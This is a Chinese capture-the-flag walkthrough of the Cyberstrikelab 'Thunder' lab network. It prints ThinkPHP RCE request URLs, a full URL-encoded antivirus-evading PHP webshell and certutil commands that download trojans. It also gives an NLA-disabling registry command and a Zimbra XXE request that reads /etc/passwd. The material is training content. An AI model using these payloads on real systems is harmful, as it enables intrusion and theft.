Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

admin 2025年2月10日19:47:36评论8 views字数 7446阅读24分49秒阅读模式

总结:此次打靶设计的非常完美,难度较高,但是能考验出选手的水平,同时还能学习到很多知识

网络拓扑示意

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

一、Flag1

1、信息收集

①使用vpn接入后发现是ThinkPHP,而且是5.0版本,抓包发现用的语言为php5.4.45,中间件用的apache2.4.23

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

②端口开放情况

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

2、漏洞扫描

①使用ThinkPhp框架进行扫描,发现存在漏洞ThinkPHP 5.0.22/5.1.29 RCE、存在ThinkPHP 5 文件包含漏洞、存在ThinkPHP 5.x 数据库信息泄露

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

3、漏洞利用

①尝试利用ThinkPHP 5.0.22/5.1.29 RCE,拿到第一个flag

http://172.20.56.32//?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=type c:flag.txt

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

尝试通过ThinkPHP 5.0.22/5.1.29 RCE写shell,写入一句话发现会被删除,查看进程发现有360

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

那么就写入免杀webshell,对wenshell要进行url编码后进行上传

http://172.20.56.32/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3fphp%0a%2f%2f+%e5%ae%9a%e4%b9%89%e6%b7%b7%e6%b7%86%e5%87%bd%e6%95%b0m%0afunction+m(%24a%2c+%24b%2c+%24c)+%7b%0a++++return+str_replace(str_split(%24a)%2c+str_split(%24b)%2c+%24c)%3b%0a%7d%0a%0a%2f%2f+%e5%ae%9a%e4%b9%89%e5%ad%97%e7%ac%a6%e4%b8%b2%e6%95%b0%e7%bb%84S%ef%bc%8c%e7%94%a8%e6%9d%a5%e5%ad%98%e5%82%a8%e9%9c%80%e8%a6%81%e6%b7%b7%e6%b7%86%e7%9a%84%e5%87%bd%e6%95%b0%e5%90%8d%0a%24S+%3d+array(%0a++++m(%22ncoai%22%2c+%22msyte%22%2c+%22cocain%22)%2c+%0a++++m(%22sir%22%2c+%22cex%22%2c+%22iris%22)%2c%0a++++m(%22otab%22%2c+%22lshe%22%2c+%22taboo%22)+.+%22_%22+.+m(%22sir%22%2c+%22cex%22%2c+%22iris%22)%2c%0a++++m(%22gbledin%22%2c+%22upasthr%22%2c+%22bleeding%22)%0a)%3b%0a%0a%2f%2f+%e8%8e%b7%e5%8f%96%e7%b3%bb%e7%bb%9f%e5%8f%82%e6%95%b0D%0a%24TR+%3d+m(%22etroubl%22%2c+%22edisabl%22%2c+%22trouble%22)%3b%0a%24MK+%3d+m(%22dpreambl%22%2c+%22sfunctio%22%2c+%22preambled%22)%3b%0a%24D+%3d+explode(%22%2c%22%2c+ini_get(%24TR+.+%27_%27+.+%24MK))%3b%0a%0a%2f%2f+%e8%8e%b7%e5%8f%96%e8%af%b7%e6%b1%82%e5%8f%82%e6%95%b0P%0a%24P+%3d+%24_REQUEST%3b%0a%0aforeach+(%24S+as+%24A)+%7b%0a++++%2f%2f+%e5%a6%82%e6%9e%9c%e6%95%b0%e7%bb%84S%e4%b8%ad%e7%9a%84%e6%9f%90%e4%b8%aa%e5%85%83%e7%b4%a0%e4%b8%8d%e5%9c%a8%e6%95%b0%e7%bb%84D%e4%b8%ad%0a++++if+(!in_array(%24A%2c+%24D))+%7b%0a++++++++%2f%2f+%e6%a0%b9%e6%8d%ae%e4%b8%8d%e5%90%8c%e7%9a%84%e6%9d%a1%e4%bb%b6%ef%bc%8c%e6%89%a7%e8%a1%8c%e5%af%b9%e5%ba%94%e7%9a%84%e6%93%8d%e4%bd%9c%0a++++++++if+(%24A+%3d%3d+m(%22ncoai%22%2c+%22msyte%22%2c+%22cocain%22))+%7b%0a++++++++++++%2f%2f+%e8%b0%83%e7%94%a8%e4%bc%a0%e9%80%92%e7%9a%84%e5%91%bd%e4%bb%a4%0a++++++++++++if+(isset(%24P%5b%27lol%27%5d))+%7b%0a++++++++++++++++eval(%24P%5b%27lol%27%5d)%3b+%2f%2f+%e6%89%a7%e8%a1%8c%e4%bc%a0%e5%85%a5%e7%9a%84PHP%e4%bb%a3%e7%a0%81%0a++++++++++++%7d%0a++++++++%7d+elseif+(%24A+%3d%3d+m(%22sir%22%2c+%22cex%22%2c+%22iris%22))+%7b%0a++++++++++++%2f%2f+%e6%89%a7%e8%a1%8c%e5%91%bd%e4%bb%a4%e5%b9%b6%e8%be%93%e5%87%ba%e7%bb%93%e6%9e%9c%0a++++++++++++exec(%24P%5b%27lol%27%5d+.+%22+2%3e%261%22%2c+%24arr)%3b%0a++++++++++++echo+join(%22%5cn%22%2c+%24arr)+.+%22%5cn%22%3b%0a++++++++%7d+else+%7b%0a++++++++++++%2f%2f+%e9%bb%98%e8%ae%a4%e5%a4%84%e7%90%86%0a++++++++++++if+(isset(%24P%5b%27lol%27%5d))+%7b%0a++++++++++++++++eval(%24P%5b%27lol%27%5d)%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++++++%2f%2f+%e6%89%a7%e8%a1%8c%e5%ae%8c%e6%af%95%e5%90%8e%e9%80%80%e5%87%ba%0a++++++++exit%3b%0a++++%7d%0a%7d%0a%3f%3e%0a

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

成功用蚁剑连接

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

②尝试利用ThinkPHP 5 文件包含漏洞,也是可以成功利用

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

③尝试利用ThinkPHP 5.x 数据库信息泄露,成功利用蚁剑连接数据库,因为已经拿到webshell,后续先使用webshell发起攻击

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

发现当前的webshell权限很低,因为是windows,所以尝试上线cs进行提权

4、权限提升

①上线cs,做免杀的木马,测试发现phpstudy目录有写入权限,然后通过rce漏洞执行木马,就可以上线cs

上传免杀木马2.exe

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

rce漏洞执行木马

http://172.20.56.32//?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=C:phpstudy2.exe

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

②甜土豆提权,提权成功

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

5、权限维持

权限维持的话,我们通过抓取到明文密码,获取到了administrator的密码,只需要开启rdp,测试发现rdp连接的时候会报错

经过上网查询资料,发现是因为rdp的网络级别身份验证出问题,所以彻底禁用 NLA,就可以成功连接

①彻底禁用 NLA(网络级别身份验证)

reg add "HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

这会 关闭远程桌面的网络级别身份验证(NLA) ,允许较旧的身份验证方式。

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

②注册表开启rdp服务

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

③抓取到了管理员的密码Tp@cslKM

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

④成功远程连接

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

远程连接后卸载杀软。准备进行内网扫描。

二、Flag2

1、信息收集

根据flag1中获取到的shell,对内网进行扫描,使用cs上传fscan进行内网扫描。

①对172.20.56.0/24扫描发现还存在一个ip172.20.57.30(当然ipconfig也可以直接发现)

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

②对172.20.57.0/24网段进行扫描,发现一个新的ip172.20.57.9810.0.0.65

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

单独扫描一下172.20.57.98全端口

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

③对系统信息也收集一波,发现和第一台一样的版本。

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

总结一下收集到的信息

10.0.0.65应该是第二张网卡
172.20.57.98才是关注的重点,开放了3306mysql数据库的端口,根据提示,账号密码cslab,可以对数据库先进行爆破。因为存在3389rdp端口,也可以尝试用cslab爆破

2、内网攻击

①隧道搭建

为了我们的电脑方便攻击,这里使用毒液(venom)搭建

上传agent.exe到172.20.57.30(也是172.20.56.32)上,执行

agent.exe -lport 9999

在我们的攻击机运行

admin.exe -rhost 172.20.56.32 -rport 9999

连接成功后就可以设置socks5代理,如下

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

②攻击mysql数据库

使用cslab作为账号密码攻击数据库,这里我是用tscan进行爆破,代理工具的话使用一个进程代理工具(也可以使用proxifier)

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

爆破成功,数据库账号密码root:cslab

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

③攻击rdp服务

爆破失败了

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

3、漏洞利用

①对数据库进行信息收集

成功登录mysql数据库,进行信息收集,包括数据库版本,还有数据库里面的内容,还有配置文件

使用刚才搭建的代理连接到数据库,发现数据库版本5.7.44

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

发现数据库中的敏感信息,根据数据库表信息,猜测大概是一个博客用的数据库。这里发现了用户的信息

guid 24d876c8772572cf839674c5a176e41c
user cslab
pass 6e272dff11557a1e7ad35d0fdf1162c3 #尝试爆破这个密码,但是无果
email [email protected]
ip 10.0.0.65

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

查看mysql是否有写入文件的权限,发现有,所以接下来尝试udf提权

show global variables like '%secure%';

secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。如下关于secure_file_priv的配置介绍

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

②使用mdut(Multiple.Database.Utilization.Tools-)进行利用,可以成功利用,(记得使用代理)

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

这里使用直接反弹shell会反弹失败,说是缺少backshell函数,可能这个udf没有这个函数(我也尝试手动写入,发现无法创建函数),所以接下来的思路是通过远程下载,把做好的木马传到服务器上。测试发现这台服务器有windows的安全中心,会杀马,所以这里还得做一下免杀。关于免杀,这里就不再说了,本人用的也是别人的,自己技术不太好,因为环境需要,我给代理服务器安装了python

③上传做好的免杀木马并执行上线

172.20.57.30开启http服务

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

使用mdut工具进行下载(测试发现好多命令不能用,最后用certutil成功下载)

certutil -urlcache -split -f http://172.20.57.30:8000/1.exe 1.exe
certutil -urlcache -split -f http://172.20.57.30:8000/ca.bin ca.bin

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

成功上传

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

执行,也是成功上线(cs设置代理转发,设置监听器)

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

4、权限提升

因为前期发现使用的windows版本一致,所以还是使用甜土豆提权

提权查看flag,这里甜土豆提权需要一个回连地址,但是这样做了隧道后,尝试了几次发现无法成功

所以给第一台服务器安装java,然后当作teamserver,这样就可以成功回连了。使用sweetpotato继续提权,拿到第二个flag

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

创建恶意用户并加入管理员组,然后开启rdp,进行连接(记得走代理)

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

三、Flag3

1、信息收集

①上传fsacn对内网进行继续扫描发现内网服务器

查看网络信息发现是双网卡,另一个ip是10.0.0.65

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

使用fscan扫描

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

发现10.0.0.34主机,开放端口80和22

攻击思路,尝试爆破22端口,查找80端口的漏洞,发现是zblogit,版本信息是1.7.3,找对应漏洞,审计代码,因为在之前172.20.57.98中数据库里面发现了一个zb的表,里面存放用户信息,如果可以破解hash也行,可以先审计一下密码是怎么生成的。

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

之前在数据库中发现的数据如下。

guid 24d876c8772572cf839674c5a176e41c
user cslab
pass 6e272dff11557a1e7ad35d0fdf1162c3 #尝试爆破这个密码,但是无果
email [email protected] 

②代码审计发现了密码的生成的算法。

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

我们可以自己生成一个用户信息,当然我们可以在数据库替换密码的hash,因为guid是唯一的,ps就决定最后的hash,使用python生成密码admin

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

2、漏洞利用

①搭建二级隧道,设置socks代理,在172.20.57.98执行agent端,成功搭建。

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

②成功登录并访问,测试发现存在文件上传漏洞

https://github.com/fengyijiu520/Z-Blog-

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

③利用文件上传getshell

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

蚁剑连接(记得挂代理)

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

④提权,发现一个可以提权的文件

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

写入命令

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

执行就可以得到flag3

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

3、内网攻击

①搭建隧道

因为是linux,我们先上传agent端,然后在write.sh写入运行命令

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

写入执行命令

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

提前在10.0.0.65开始监听

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

运行后,成功搭建

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

四、Flag4

1、信息收集

查看发现是双网卡,另一个ip是10.1.1.78

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

①上传fscan进行探测,发现又有一个新主机10.1.1.56,开放了多个端口

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

②搭建socks代理

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

③在443端口先发现了zimbra

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

2、漏洞扫描

使用tscan扫面出xxe

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

3、漏洞利用

poc

POST /Autodiscover/Autodiscover.xml HTTP/1.1  
Host: 10.1.1.56  
User-Agent: Mozilla/5.0 (Windows NT 10.0;) Gecko/20100101 Firefox/66.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.2  
Accept-Encoding: gzip, deflate  
Referer: https://mail.****.com/zimbra/  
Content-Type: application/soap+xml  
Content-Length: 436  
Connection: close  
Cookie: ZM_TEST=true  
Upgrade-Insecure-Requests: 1  

<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
 <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
      <EMailAddress>aaaaa</EMailAddress>
      <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
    </Request>
  </Autodiscover>

通过xxe就可以拿到flag

Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

后续其他漏洞还没有测试。到这里flag已经全部拿下,过程中还有一些没有测到的,可以自己尝试尝试。

靶场地址:https://www.cyberstrikelab.com/

原文始发于微信公众号(红队蓝军):Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wp

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月10日19:47:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Cyberstrikelab-【恭贺新春】企业级内网仿真「Thunder」-wphttps://cn-sec.com/archives/3723531.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息